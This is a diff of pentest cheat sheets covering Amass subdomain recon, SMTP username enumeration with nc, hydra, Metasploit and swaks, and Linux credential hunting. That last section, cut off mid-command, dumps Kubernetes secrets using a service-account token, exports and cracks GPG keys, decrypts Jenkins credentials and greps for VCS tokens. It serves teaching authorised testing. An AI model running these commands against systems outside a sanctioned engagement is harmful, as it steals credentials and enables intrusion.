"never logs in" to that host (8/9 flag RunasCs netonly/cleartext) | +| **4688** | Security Log | `cmd.exe`/`powershell.exe` spawned with alternate credentials; unusual parent (`services.exe`, `WmiPrvSE.exe`) | +| **4648** | Security Log | Explicit credential logon (runas-style) — the strongest single signal for every method here | | **4698/4702** | Security Log | Scheduled task created/updated running as another user | -| **4648** | Security Log | Explicit credential logon (runas-style) | +| **4697 / 7045** | Security / System Log | Service installed with a per-account `binPath` (Method 6 `sc.exe create … obj=`) | +| **4672** | Security Log | Special privileges assigned — fires when the run-as token is a local admin | *** diff --git a/src/content/sheets/enumeration/amass.md b/src/content/sheets/enumeration/amass.md @@ -2,10 +2,10 @@ title: "Amass" description: "OWASP Amass v5 subdomain enumeration and attack-surface mapping — enum, ASN/CIDR discovery, and reading results back out of its graph database." category: enumeration -tags: [enumeration, osint, recon, dns] -tools: [Amass] +tags: [enumeration, osint, recon, dns, subdomains, attack-surface, api-keys] +tools: [Amass, subfinder, assetfinder, puredns] difficulty: intermediate -updated: "2026-09-17" +updated: "2026-09-25" --- # Amass @@ -47,7 +47,7 @@ amass enum -d $DOMAIN -brute -w /path/to/subdomains.txt amass enum -asn 12345 amass enum -cidr 203.0.113.0/24 -d $DOMAIN -# seed from names you already have (other tools' output), skip re-discovering them +# seed the engine with names you already have (other tools' output) so they're in scope from the start amass enum -d $DOMAIN -nf known_subs.txt # write files out under a directory instead of just the graph DB @@ -67,12 +67,12 @@ amass enum -d $DOMAIN -oA ./recon/amass_$DOMAIN | `-addr value` | IPs/ranges (`192.168.1.1-254`) | — | | `-p value` | Ports to check when resolving | 80, 443 | | `-r` / `-tr value` | Untrusted / trusted DNS resolver IPs | system default | -| `-nf file` | Seed with already-known names (skips re-discovery) | — | +| `-nf file` | Seed the engine with already-known names (from other tools) | — | | `-bl value` / `-blf file` | Blacklist subdomains (inline / from file) | — | | `-timeout N` | Minutes with no progress before terminating | 30 | | `-oA prefix` | Path prefix for all output files | — | | `-dir path` | Directory holding the graph database | default state dir | -| `-list` | Print all available data source names | — | +| `-list` | *(dead in v5.1.1 — does not print sources; read `datasources.yaml` instead)* | — | | `-include` / `-exclude value` | Restrict to / drop specific data sources | all | | `-v` | Verbose/debug output | off | | `-silent` | No output during the run | off | @@ -80,6 +80,123 @@ amass enum -d $DOMAIN -oA ./recon/amass_$DOMAIN > [!tools] Related in the same recon stage > [subfinder](https://github.com/projectdiscovery/subfinder), [assetfinder](https://github.com/tomnomnom/assetfinder), and [puredns](https://github.com/d3mondev/puredns) (wildcard-aware resolving) — see [Stage 00](/sheets/pentest-workflow/passive-external-recon) for unioning all of them together. No single passive source is complete; run at least two and merge. +## Config files (v5) — wiring API keys + +v5 reads two YAML files from the state dir — `config.yaml` (scope, engine/DB, brute/alt toggles, per-asset transform TTLs) and `datasources.yaml` (per-source credentials). Point any subcommand at them with `-config`. + +```text +Linux: ~/.config/amass/{config.yaml,datasources.yaml} +macOS: ~/Library/Application Support/amass/{config.yaml,datasources.yaml} +``` + +```yaml +# config.yaml (trimmed to the parts you actually touch) +scope: + domains: + - example.com # root/registered domains in scope + # ips: [ 192.0.2.1, 192.168.0.3-8 ] + # cidrs: [ 192.0.2.0/24 ] + ports: [ 80, 443, 8080, 8443 ] # ports used when probing services + # blacklist: + # - dev.example.com +options: + datasources: "./datasources.yaml" # path is relative to THIS file, not your cwd + # engine: "http://127.0.0.1:4000" # reuse/point at a specific engine + # database: "postgres://amass:amass4OWASP@assetdb:5432/assetdb" # or bolt://... (neo4j) + bruteforce: + enabled: false + wordlists: [ "./wordlists/short-wordlist.txt" ] + alterations: + enabled: false + default_transform_values: + ttl: 1440 # minutes a result is cached before re-querying + confidence: 50 + priority: 5 +transformations: # which asset->source expansions run, and their TTLs + FQDN->ALL: + FQDN->DomainRecord: + ttl: 43200 + TLSCertificate->ALL: + ttl: 10800 +``` + +```yaml +# datasources.yaml — uncomment a source and drop your key in +global_options: + minimum_ttl: 1440 # floor applied when a source omits its own ttl +datasources: + - name: VirusTotal + ttl: 10080 + creds: + account: + apikey: VT_API_KEY_HERE + - name: SecurityTrails + ttl: 1440 + creds: + account: + apikey: ST_API_KEY_HERE + - name: Shodan + ttl: 10080 + creds: + account: + apikey: SHODAN_API_KEY_HERE + - name: Chaos # ProjectDiscovery — same key subfinder uses + ttl: 4320 + creds: + account: + apikey: CHAOS_API_KEY_HERE +``` + +Some sources key differently — a named account, multiple accounts, or username+secret: + +```yaml + - name: GitHub # keyed by a custom account name, not "account" + ttl: 4320 + creds: + accountname: + apikey: ghp_xxx + - name: PassiveTotal # username + apikey (CIRCL/FOFA/Yandex/ZoomEye are similar) + creds: + account: + username: you@example.com + apikey: PT_KEY + - name: C99 # multiple keys under account1/account2 + ttl: 4320 + creds: + account1: { apikey: KEY1 } + account2: { apikey: KEY2 } +``` + +```bash +amass enum -config ./config.yaml -d example.com # enum uses the configured keys +amass enum -d example.com # uses the default-path config if present +amass subs -config ./config.yaml -d example.com -names # subs/track/assoc/viz also accept -config +``` + +> [!tip] The `datasources` path is resolved relative to `config.yaml`, not your shell's cwd. Keep `config.yaml`, `datasources.yaml`, and `wordlists/` in the same directory, or use absolute paths. + +> [!info] The default OAM store is a local SQLite graph — `asset.db` (plus `asset.db-wal`/`asset.db-shm`) in the state dir. For a shared/team graph, set `options.database` to a Postgres (`postgres://...`) or Neo4j (`bolt://...`) URL instead. + +> [!warning] Only VirusTotal, SecurityTrails, Shodan (and Chaos) are wired above because those are what v5.1.1 actually ships in `datasources.yaml`. **Censys is not a v5.1.1 data source** — there is no stanza for it; don't invent one. The shipped roster (VirusTotal, SecurityTrails, Shodan, Chaos, BinaryEdge, FullHunt, Netlas, LeakIX, IntelX, ZoomEye, AlienVault, HackerTarget, URLScan, WhoisXMLAPI, GitHub/GitLab, PassiveTotal, and more) is exactly the set of `- name:` entries in that file. + +## Trusted vs untrusted resolvers + +```bash +# untrusted resolvers (bulk, for volume) from a file; trusted (reliable) inline +amass enum -d example.com -rf untrusted-resolvers.txt -tr 1.1.1.1,8.8.8.8,9.9.9.9 + +# a few untrusted resolvers inline instead of a file +amass enum -d example.com -r 1.0.0.1,8.8.4.4 +``` + +| Flag | Class | Input | Use for | +|---|---|---|---| +| `-r value` | untrusted | inline IPs, comma-sep, repeatable | bulk resolvers, throughput | +| `-rf file` | untrusted | file of resolver IPs | a large scraped public-resolver list | +| `-tr value` | trusted | inline IPs, comma-sep, repeatable | reliable resolvers used to validate findings | + +> [!note] v5.1.1 has **no** trusted-resolver *file* flag — trusted resolvers are inline-only via `-tr`. Only the untrusted pool takes a file (`-rf`). Keep `-tr` a short list you actually trust (1.1.1.1 / 8.8.8.8 / 9.9.9.9); dump the big list into `-rf`. Amass validates candidate names against the trusted set to cut false positives from unreliable untrusted resolvers. + ## Reading results back out Amass v5 doesn't dump to stdout the way older versions did — query the graph DB with `subs` after `enum` finishes: @@ -92,22 +209,138 @@ amass subs -d $DOMAIN -summary # ASN table summary instead of names amass subs -d $DOMAIN -names > subs_amass.txt # pipe into the union step alongside subfinder/assetfinder ``` +## More `subs` reads + +```bash +amass subs -d example.com -ipv6 # IPv6 addresses only +amass subs -d example.com -show # full result set for the enumeration index + domains +amass subs -df roots.txt -names # read many root domains from a file +amass subs -dir ./engagement-db -d example.com -names # read a NON-default graph dir +amass subs -d example.com -names -o subs.txt # also tee terminal output to a file +``` + +| Flag | Output | +|---|---| +| `-names` | discovered FQDNs, one per line | +| `-ip` / `-ipv4` / `-ipv6` | names with resolved addresses (all / v4 / v6) | +| `-summary` | ASN + netblock rollup instead of names | +| `-show` | full results for the enumeration index + provided domains | +| `-df file` | read root domains from a file | +| `-dir path` | query a specific graph-DB directory (not the default state dir) | +| `-o file` | tee stdout/stderr to a text file | +| `-config file` | apply a YAML config while reading | + +## `amass assoc` — association walks + +> [!info] `amass assoc` walks *associations* in the OAM graph — pivoting from a seed asset (domain, org, netblock, ASN, TLS cert...) to other assets the graph has linked to it. It is how v5 replaces the old `intel` "find related orgs/domains" idea: enumerate first with `enum`, then walk the graph you built. + +```bash +# association walk over the default graph DB (one hop per -tN) +amass assoc -t1 '<subject> <predicate> <object>' + +# chain up to ten hops (-t1 .. -t10), or load the triples from a file +amass assoc -tf triples.txt + +# walk a specific (non-default) graph DB, or apply a config +amass assoc -dir ./engagement-db -t1 '<triple>' +amass assoc -config ./config.yaml -tf triples.txt +``` + +| Flag | Meaning | +|---|---| +| `-t1` … `-t10` | up to 10 triples defining the walk (one hop each) | +| `-tf file` | file containing the triples list | +| `-dir path` | graph-DB directory to query | +| `-config file` | YAML config to use | + +> [!warning] The exact triple grammar (asset-type / predicate / asset-type ordering and quoting) is version-specific and easy to get wrong — confirm the fields against `amass assoc -h` and the Open Asset Model docs before scripting a walk. Don't guess predicate names. OAM asset types you'll pivot between include `FQDN`, `IPAddress`, `Netblock`, `AutonomousSystem`, `TLSCertificate`, `DomainRecord`, and `Organization`. + ## Diffing over time & visualizing ```bash # only assets discovered since a given time — good for re-scanning a target periodically amass track -d $DOMAIN -since '09/01 00:00:00 2026 UTC' -# export the asset graph -amass viz -dir <graph-db-dir> -dot -oA ./recon/amass_graph -amass viz -dir <graph-db-dir> -gexf -oA ./recon/amass_graph # open the .gexf in Gephi +# export the asset graph — viz REQUIRES -d (it exits "No root domain names were +# provided" before it even reads the DB if you give only -dir) +amass viz -d $DOMAIN -dir <graph-db-dir> -dot -oA ./recon/amass_graph +amass viz -d $DOMAIN -dir <graph-db-dir> -gexf -oA ./recon/amass_graph # open the .gexf in Gephi ``` > [!warning] Watch out > - `-active` sends zone-transfer attempts and TLS connections straight at the target's own nameservers/hosts — that's active recon, not passive; keep engagements scoped accordingly (same rule as [Stage 00's `amass enum -passive` note](/sheets/pentest-workflow/passive-external-recon), now spelled `-active`'s absence rather than a `-passive` flag's presence). -> - API keys for VirusTotal/SecurityTrails/Shodan/Censys etc. (`amass enum -list` shows all sources) meaningfully increase yield — configure them in the YAML config (`-config`) rather than relying on the free/keyless sources alone. +> - API keys for VirusTotal/SecurityTrails/Shodan/Netlas/FullHunt etc. meaningfully increase yield — configure them in `datasources.yaml` and pass it with `-config` rather than relying on the free/keyless sources alone. There is no working "list sources" flag in v5.1.1 (`-list` is dead code — it neither lists nor errors usefully); the authoritative roster is the set of `- name:` entries in the shipped `datasources.yaml` (see above). Censys is **not** a v5.1.1 source — don't add a stanza for it. > - The background engine persists between runs; if a `subs`/`track` query looks stale, confirm you're pointed at the same `-dir` the `enum` run used, or that the engine process is even still the one you expect (`ps aux | grep amass`). +## `amass track` — periodic re-scan diffing + +`track` reads the same OAM graph `enum` writes and prints assets newer than a timestamp — good for scheduled re-scans where you only want the delta. + +```bash +# names added since a timestamp (Go reference layout: 01/02 15:04:05 2006 MST) +amass track -d example.com -since '09/01 00:00:00 2026 UTC' + +# many roots from a file, against a specific graph DB +amass track -df roots.txt -dir ./engagement-db -since '09/01 00:00:00 2026 UTC' +``` + +Weekly re-scan capturing only what's new since last run: + +```bash +amass enum -d example.com # refresh the graph first (same -dir) +# macOS date: +amass track -d example.com -since "$(date -u -v-7d '+%m/%d %H:%M:%S %Y UTC')" +# Linux date: +# amass track -d example.com -since "$(date -u -d '7 days ago' '+%m/%d %H:%M:%S %Y UTC')" +``` + +> [!tip] `track` only reports — it never enumerates. Run a fresh `enum` against the **same** `-dir` first, then `track -since <last run>` for the delta. If the graph isn't persisted between runs, the diff is meaningless. The `-since` string must match Go's reference layout `01/02 15:04:05 2006 MST` (month/day, then year, then zone). + +## End-to-end recon pipeline (union + resolve) + +No single passive source is complete. Union amass with subfinder + assetfinder, then resolve the merged list wildcard-aware with puredns. + +```bash +DOMAIN=example.com +UNTRUSTED=untrusted-resolvers.txt # big scraped public-resolver list + +# 1) three passive engines (union beats any one source) +amass enum -d "$DOMAIN" -tr 1.1.1.1,8.8.8.8,9.9.9.9 -rf "$UNTRUSTED" +subfinder -d "$DOMAIN" -all -silent -o subfinder.txt +assetfinder --subs-only "$DOMAIN" > assetfinder.txt + +# 2) pull amass names back out of the OAM graph +amass subs -d "$DOMAIN" -names > amass.txt + +# 3) union + dedupe +cat amass.txt subfinder.txt assetfinder.txt | sort -u > all_subs.txt + +# 4) wildcard-aware resolve — keep only names that actually resolve +puredns resolve all_subs.txt \ + --resolvers "$UNTRUSTED" \ + --resolvers-trusted trusted-resolvers.txt \ + -w resolved.txt + +# 5) (optional) feed the union back to amass as seeds and re-run for depth +amass enum -d "$DOMAIN" -nf all_subs.txt +amass subs -d "$DOMAIN" -names > amass_round2.txt +``` + +> [!tools] Pipeline pieces +> [subfinder](https://github.com/projectdiscovery/subfinder) `-all` (every source), [assetfinder](https://github.com/tomnomnom/assetfinder) `--subs-only`, [puredns](https://github.com/d3mondev/puredns) (wildcard-aware mass resolver). The full unioning workflow lives in [Stage 00 — Passive External Recon](/sheets/pentest-workflow/passive-external-recon). Feeding the merged list back via `-nf` lets amass mine the graph around names the other tools found. + +## Common v5 errors + +| Symptom | Cause | Fix | +|---|---|---| +| `The Amass engine is already running.` | a background `amass engine` still holds `:4000` from a prior run | reuse it (usually fine), or `pkill -f "amass engine"` for a clean slate, or target another with `-engine http://127.0.0.1:PORT` | +| `Configuration error: No root domain names were provided` | `enum`/`subs`/`track` have no scope | pass `-d example.com` (or `-df roots.txt`), or set `scope.domains` in `config.yaml` | +| `subs`/`track` return stale or empty data | querying a different `-dir` than `enum` wrote to | point `-dir` at the same directory `enum` used; defaults are `~/.config/amass/` (Linux) / `~/Library/Application Support/amass/` (macOS) | +| enum finishes with almost no names | only keyless sources are active | wire API keys in `datasources.yaml` (`-config`); add `-brute -w <wordlist>` and/or `-active` if scope allows | +| need a genuinely clean run | the OAM SQLite graph persists between runs | delete `asset.db asset.db-shm asset.db-wal` from the state dir, or use a fresh `-dir ./new-db` | + +> [!warning] The graph DB is a real on-disk SQLite file — `asset.db` plus `asset.db-wal`/`asset.db-shm` — in the state dir, alongside per-run `session-<uuid>/` dirs and `amass_engine_<timestamp>.log`. When results look wrong, read the newest engine log and confirm which `-dir` you're actually hitting before blaming the sources. + ## Sources - https://github.com/owasp-amass/amass diff --git a/src/content/sheets/enumeration/smtp-user-enum.md b/src/content/sheets/enumeration/smtp-user-enum.md @@ -2,19 +2,64 @@ title: "SMTP User Enumeration" description: "smtp-user-enum, swaks and nmap's smtp-enum-users — VRFY/EXPN/RCPT username enumeration, open-relay checks and manual SMTP probing." category: enumeration -tags: [enumeration, smtp, email] -tools: [smtp-user-enum, swaks, Nmap] +tags: [enumeration, smtp, email, ntlm, starttls] +tools: [smtp-user-enum, swaks, Nmap, Hydra, Metasploit, netcat] difficulty: beginner -updated: "2026-09-17" +updated: "2026-09-25" --- # SMTP User Enumeration -Three ways to answer "does this mailbox exist?" against an SMTP server (25/465/587): the purpose-built **smtp-user-enum.pl** (bulk VRFY/EXPN/RCPT), **nmap**'s bundled `smtp-enum-users` script (same three methods, one-shot with the rest of a scan), and **swaks** for hand-crafted probes — relay testing, `RCPT TO` acceptance checks, and STARTTLS/auth testing that the dedicated enumerators don't do. Start with `nmap -sC -p25 $IP` (the `smtp-commands` script) to see which of VRFY/EXPN/AUTH/STARTTLS the server even advertises before picking a method. For the full protocol-level workflow (open relay, spray, CVE-2020-7247) see [Service Enumeration → SMTP](/sheets/pentest-workflow/service-enumeration) and [Attacking Common Services → Email](/sheets/pentest-workflow/attacking-common-services). +Three ways to answer "does this mailbox exist?" against an SMTP server (25/465/587): the purpose-built **smtp-user-enum.pl** (bulk VRFY/EXPN/RCPT), **nmap**'s bundled `smtp-enum-users` script (same three methods, one-shot with the rest of a scan), and **swaks** for hand-crafted probes — relay testing, `RCPT TO` acceptance checks, and STARTTLS/auth testing that the dedicated enumerators don't do. Start with `nmap -sC -p25 $IP` (the `smtp-commands` script) to see which of VRFY/EXPN/AUTH/STARTTLS the server even advertises before picking a method. For the full protocol-level workflow (open relay, spray, CVE-2020-7247) see [Service Enumeration → SMTP](/sheets/pentest-workflow/service-enumeration) and [Attacking Common Services → Email](/sheets/pentest-workflow/attacking-common-services-guide). + +## Raw SMTP session — telnet / nc (hand verification) + +Before trusting a tool, drive the protocol by hand — it shows the exact response codes the enumerators key off and lets you confirm a couple of hits without a wordlist. + +```text +$ nc -nv $IP 25 +220 mail.corp.local ESMTP Sendmail 8.15.2; ... +HELO x +250 mail.corp.local +VRFY root +252 2.1.5 Cannot VRFY user; try RCPT to attempt delivery # ambiguous (calibrate below) +VRFY nonexistent +252 2.1.5 Cannot VRFY user; try RCPT to attempt delivery # identical 252 for a bad user => VRFY is neutered, use RCPT +EXPN postmaster +502 5.5.1 EXPN command disabled # EXPN is off on most modern MTAs +MAIL FROM:<probe@evil.com> +250 2.1.0 Ok +RCPT TO:<jsmith@corp.local> +250 2.1.5 Ok # 250/251 => mailbox exists +RCPT TO:<nouser@corp.local> +550 5.1.1 <nouser@corp.local>: Recipient address rejected: User unknown # 550 => no such user +QUIT +221 2.0.0 Bye +``` + +| Code | VRFY / RCPT meaning | +|---|---| +| `250` | Mailbox exists / recipient accepted (VRFY echoes the full address) | +| `251` | User not local, will forward — valid, remote mailbox | +| `252` | Cannot verify but will attempt delivery — **ambiguous**; the classic Sendmail/Exchange "cannot VRFY" reply (default Postfix instead answers definitively `250`/`550`, or `502` when VRFY is disabled) | +| `550` | No such user / mailbox unavailable — invalid | +| `551` / `553` | User not local (try forward-path) / mailbox name not allowed | +| `450` / `451` / `452` | Temp failure (greylist / throttle) — not a validity signal, retry | + +> [!tip] Calibrate VRFY in one shot +> Feed one known-bad and one known-good username down the same connection and compare the two codes — no need to script a whole run to find out if VRFY is real. +> ```bash +> printf 'HELO x\r\nVRFY nonexistent_zzz9\r\nVRFY root\r\nQUIT\r\n' | nc -w3 $IP 25 +> # identical codes for both => VRFY neutered (switch to -M RCPT) +> # different codes (e.g. 550 vs 250) => VRFY is live, enumerate with it +> ``` + +> [!tip] Same session inside TLS +> On 587/465 where cleartext is refused, get the exact hand-driven session over TLS with `openssl s_client -starttls smtp -connect $IP:587` (STARTTLS) or `openssl s_client -connect $IP:465` (implicit TLS), then type `HELO`/`VRFY`/`RCPT` as above. ## smtp-user-enum.pl -Perl script (pentestmonkey), preinstalled on Kali; on macOS clone it — `git clone https://github.com/pentestmonkey/smtp-user-enum`, no dependencies beyond core Perl (`Net::SMTP`, `Getopt::Std`). Runs one method against a wordlist with configurable concurrency. +Perl script (pentestmonkey), preinstalled on Kali; on macOS clone it — `git clone https://github.com/pentestmonkey/smtp-user-enum`. It drives raw sockets directly (`use Socket; IO::Socket::INET; IO::Select; IO::Handle; Getopt::Std`), so it needs no CPAN modules — not even `Net::SMTP`. Runs one method against a wordlist with configurable concurrency. ```bash # VRFY (default method) — most reliable when not disabled @@ -45,7 +90,7 @@ perl smtp-user-enum.pl -M VRFY -u root -t $IP -p 25 -m 10 | `-v` | Verbose | off | > [!warning] Watch out -> - Many hardened MTAs (Postfix in particular) leave VRFY enabled but always return `252 Cannot VRFY user` regardless of validity — calibrate first by testing one known-bad and one known-good username; if both give identical responses, VRFY is neutered and you need `RCPT` instead. +> - Many MTAs (Sendmail and Exchange classically) answer VRFY with `252 Cannot VRFY user` regardless of validity — calibrate first by testing one known-bad and one known-good username; if both give identical responses, VRFY is neutered and you need `RCPT` instead. Default Postfix is the opposite — it answers VRFY *definitively* (`250`/`550`), which is why VRFY enum is classically demonstrated against it, and returns `502 5.5.1 VRFY command is disabled` when an admin turns it off (`disable_vrfy_command=yes`). > - `RCPT` mode is slow (~5–7 requests/sec) and the noisiest of the three since it opens a full `MAIL FROM`/`RCPT TO` sequence per guess (no `DATA` sent, so no mail is actually delivered) — scope the wordlist, don't point it at rockyou. > - `-m` concurrency above ~10–15 gets rate-limited or blacklisted by most modern MTAs. @@ -73,6 +118,50 @@ Stops early if the server enforces authentication, and prints whatever usernames nmap -p25 --script smtp-commands,smtp-open-relay,smtp-vuln* $IP ``` +### smtp-ntlm-info — internal hostname/domain disclosure + +When a server advertises `AUTH NTLM` (typically Exchange message-submission on 587, sometimes 25/465), the `smtp-ntlm-info` NSE script sends a Type-1 NTLM token and decodes the Type-2 challenge — leaking the NetBIOS domain, NetBIOS computer name, DNS domain, FQDN and OS build with no credentials. + +```bash +# hit all three SMTP ports; 587 (submission) is the usual winner on Exchange +nmap -p25,465,587 --script smtp-ntlm-info $IP +``` + +> [!tip] Why 587 +> Perimeter/internal Exchange exposes authenticated submission on 587 with NTLM enabled far more often than on 25, so 587 is where this leak usually lands. Same primitive as `rdp-ntlm-info` / `ms-sql-ntlm-info` — an unauthenticated pull of the AD domain and host FQDN. Feed the recovered domain straight into `smtp-user-enum -M RCPT -D <domain>` or `swaks --to user@<domain>`. + +## hydra & metasploit — enumeration equivalents + +The same VRFY/EXPN/RCPT primitives wrapped in tooling you may already have loaded — one framework for spray + enum, or Metasploit's DB to store found users. + +```bash +# Hydra's smtp-enum module — mode is the URL suffix (VRFY default / EXPN / RCPT) +# VRFY/EXPN ignore the password field; a dummy -p keeps hydra's parser happy on builds that demand one +hydra -L users.txt -p x smtp-enum://$IP/VRFY +hydra -L users.txt -p x smtp-enum://$IP/EXPN +# RCPT mode: -p carries the domain appended to each username +hydra -L users.txt -p $DOMAIN smtp-enum://$IP/RCPT +hydra -U smtp-enum # print the module's own options +``` + +```bash +# Metasploit — auxiliary/scanner/smtp/smtp_enum (RCPT/VRFY/EXPN, no creds needed) +msfconsole -q +use auxiliary/scanner/smtp/smtp_enum +set RHOSTS $IP +set RPORT 25 +set USER_FILE /usr/share/seclists/Usernames/Names/names.txt +run +# grab the banner/version alongside it: +use auxiliary/scanner/smtp/smtp_version +``` + +| Tool | Enum invocation | Notes | +|---|---|---| +| hydra | `smtp-enum://$IP/{VRFY,EXPN,RCPT}` | RCPT needs `-p $DOMAIN`; VRFY/EXPN take a throwaway `-p`; ships with hydra | +| metasploit | `auxiliary/scanner/smtp/smtp_enum` | `USER_FILE` default `data/wordlists/unix_users.txt`; `UNIXONLY true` skips the MS banner check | +| smtp-user-enum | `-M {VRFY,EXPN,RCPT}` (above) | fastest / most controllable for large lists | + ## swaks — manual probing, relay & auth testing swaks doesn't bulk-enumerate on its own, but it's the right tool for anything smtp-user-enum/nmap don't cover: single-shot `RCPT TO` acceptance checks (useful when VRFY/EXPN are both off), open-relay testing, and exercising STARTTLS/AUTH. @@ -100,7 +189,7 @@ swaks --to test@$DOMAIN --server $IP --tls --tls-get-peer-cert # authenticated send (validate creds found via spraying/loot) swaks --to test@$DOMAIN --from user@$DOMAIN --server $IP \ - --auth LOGIN --auth-user 'user@$DOMAIN' --auth-password 'Password1!' + --auth LOGIN --auth-user "user@$DOMAIN" --auth-password 'Password1!' ``` | Flag | Description | Default | @@ -126,6 +215,35 @@ swaks --to test@$DOMAIN --from user@$DOMAIN --server $IP \ > - Open-relay and unauthenticated `RCPT` probing generate real SMTP session log entries (and, on a relay hit, an actual outbound message) — scope carefully on live/production mail infrastructure, this isn't a passive check. > - `--protocol SMTP` forces `HELO` instead of `EHLO`, which some scanners use specifically to dodge servers that only rate-limit/log on ESMTP extensions. +### 25 / 587 / 465 with the right TLS mode + +```bash +# 587 submission — explicit STARTTLS upgrade, then RCPT probe +swaks --to victim@$DOMAIN --server $IP:587 --tls --quit-after RCPT --hide-all; echo "exit: $?" + +# 465 implicit TLS (SMTPS) — TLS handshake on connect, no cleartext EHLO +swaks --to victim@$DOMAIN --server $IP --port 465 --tls-on-connect --quit-after RCPT --hide-all; echo "exit: $?" + +# plain 25, no TLS (MTA relay path) +swaks --to victim@$DOMAIN --server $IP:25 --quit-after RCPT --hide-all; echo "exit: $?" +``` + +> [!warning] STARTTLS vs implicit TLS +> `--tls` performs an in-band **STARTTLS** upgrade after a cleartext `EHLO` (ports 25/587). `--tls-on-connect` (`-tlsc`) does **implicit TLS** — the socket is encrypted from byte zero (port 465). Using the wrong one hangs or errors: 465 will not answer a plaintext `EHLO`, and most 587 listeners refuse `RCPT` before STARTTLS. + +## Ports & TLS — 25 vs 587 vs 465 + +| Port | Role | Transport | Enum relevance | +|---|---|---|---| +| **25** | MTA ↔ MTA relay (RFC 5321) | Cleartext, opportunistic STARTTLS | Classic VRFY/EXPN/RCPT + open-relay tests; client submission often ISP-blocked | +| **587** | Message submission (RFC 6409) | Cleartext EHLO → **STARTTLS**, AUTH required | Best `smtp-ntlm-info` target on Exchange; RCPT enum after STARTTLS | +| **465** | Submission over implicit TLS (SMTPS, RFC 8314) | **TLS on connect**, then AUTH | Same probes as 587 but wrap in `--tls-on-connect` / `openssl s_client -connect` | + +> [!tip] STARTTLS = opportunistic upgrade on 25/587; implicit TLS = 465 from the first byte. If VRFY/RCPT come back refused on 587, you almost certainly need to STARTTLS first (`swaks --tls`, or `openssl s_client -starttls smtp -connect $IP:587`). + +> [!warning] Microsoft 365 & Google Workspace are out of scope here +> Their public MX (`*.mail.protection.outlook.com`, `aspmx.l.google.com`) accepts or generically rejects every `RCPT`, so SMTP VRFY/EXPN/RCPT enumeration does **not** work against them. User enumeration on those platforms is a *web/auth* technique — Autodiscover / GetCredentialType / OWA-timing for M365, login-flow responses for Workspace — handled by tools like `o365spray` and MailSniper, not this sheet. See [Attacking Common Services → Email](/sheets/pentest-workflow/attacking-common-services-guide) for the M365 workflow. + ## Sources - https://github.com/pentestmonkey/smtp-user-enum diff --git a/src/content/sheets/password-attacks/linux-credential-flag-hunting.md b/src/content/sheets/password-attacks/linux-credential-flag-hunting.md @@ -3,10 +3,10 @@ title: "Linux Credential & Flag Hunting" description: "Find flags, passwords, keys and secrets on Linux: find/grep recipes, history files, config secrets, SSH keys and automated tools." category: password-attacks subcategory: "Credential & Flag Hunting" -tags: [linux, credentials, flags, post-exploitation, enumeration] -tools: [find, grep, LinPEAS, LaZagne] +tags: [linux, credentials, flags, post-exploitation, enumeration, gpg, kubernetes, jenkins, snmp, tmux] +tools: [find, grep, LinPEAS, LaZagne, pspy, unix-privesc-check, gpg, kubectl, nmcli] difficulty: intermediate -updated: "2026-09-14" +updated: "2026-09-25" source: "repo:Password-Attacks/linux-credential-flag-hunting.md" --- @@ -126,6 +126,104 @@ cat /etc/sudoers /etc/sudoers.d/* 2>/dev/null # sudo rules → privesc cat /etc/crontab; ls -la /etc/cron.* /var/spool/cron/ 2>/dev/null # scheduled jobs ``` +### GPG keyrings & gpg-agent +```bash +# Keyring + private key material +ls -la ~/.gnupg/ 2>/dev/null # pubring.kbx, trustdb.gpg, private-keys-v1.d/ +find / \( -name 'secring.gpg' -o -name 'pubring.kbx' -o -name '*.gpg' -o -name '*.asc' \) 2>/dev/null + +# What secret keys exist locally +gpg --list-secret-keys + +# gpg-agent may still hold the passphrase — try decrypting loot directly +gpg --decrypt /path/to/secret.gpg 2>/dev/null +# ...or export the private key if the agent/passphrase lets you, then crack it offline +gpg --export-secret-keys -a > /tmp/secret.asc 2>/dev/null +gpg2john /tmp/secret.asc > gpg.hash && john gpg.hash +``` + +> **Tip —** a `~/.password-store/` (pass) tree plus a cached gpg-agent passphrase turns every `*.gpg` under it into cleartext with `pass show <name>`. + +### Cloud, cluster & CI/CD secrets + +**Kubernetes** +```bash +cat ~/.kube/config "$KUBECONFIG" /etc/kubernetes/admin.conf 2>/dev/null +find / \( -name 'admin.conf' -o -name 'kubeconfig' -o -path '*/.kube/config' \) 2>/dev/null + +# In-pod service-account token (authenticates to the API as that SA) +cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null # also under /run/secrets/... +kubectl --server=https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT \ + --token=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) \ + --certificate-authority=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt \ + get secrets -A -o yaml +``` + +**Jenkins** (`$JENKINS_HOME`, usually `/var/lib/jenkins`) +```bash +cat /var/lib/jenkins/credentials.xml 2>/dev/null +cat /var/lib/jenkins/secrets/master.key /var/lib/jenkins/secrets/hudson.util.Secret 2>/dev/null +find / \( -name 'credentials.xml' -o -name 'master.key' -o -name 'hudson.util.Secret' \) 2>/dev/null +grep -rlE '<password>|apiToken|credentialId' /var/lib/jenkins/jobs /var/lib/jenkins/users 2>/dev/null +``` +> **Note —** decrypt the `{AQAAAB...}` blobs from `credentials.xml` via the Jenkins Script Console: `println(hudson.util.Secret.decrypt("{AQAAAB...}"))`. Offline you need `secrets/master.key` + `secrets/hudson.util.Secret` + the blob (a `jenkins-credential-decryptor` does this). + +**Registry / VCS tokens** +```bash +cat ~/.npmrc 2>/dev/null # //registry/:_authToken= or _auth= (base64 user:pass) +cat ~/.pypirc 2>/dev/null # [pypi] username / password +cat ~/.config/gh/hosts.yml 2>/dev/null # GitHub CLI oauth_token +grep -rniE 'ghp_[A-Za-z0-9]{36}|github_pat_[A-Za-z0-9_]+|glpat-[A-Za-z0-9_-]{20}' \ + /home /root /opt /var/www /etc 2>/dev/null +env | grep -iE 'GITHUB_TOKEN|GITLAB_TOKEN|NPM_TOKEN|CI_JOB_TOKEN|PYPI' +``` + +### Infrastructure-as-code & config management + +**Ansible Vault** +```bash +grep -rl 'ANSIBLE_VAULT' / 2>/dev/null # encrypted files start $ANSIBLE_VAULT;1.1;AES256 +find / \( -name '.vault_pass*' -o -name 'vault_pass*' \) 2>/dev/null +grep -rniE 'vault_password_file|vault_pass' /etc/ansible ~/.ansible.cfg ./ansible.cfg 2>/dev/null +ansible-vault view secrets.yml --vault-password-file .vault_pass # if the pass file is on disk +ansible2john group_vars/all.yml > vault.hash && john vault.hash # otherwise crack it +``` + +**Terraform state** (secrets stored in PLAINTEXT) +```bash +find / \( -name 'terraform.tfstate' -o -name '*.tfstate' -o -name 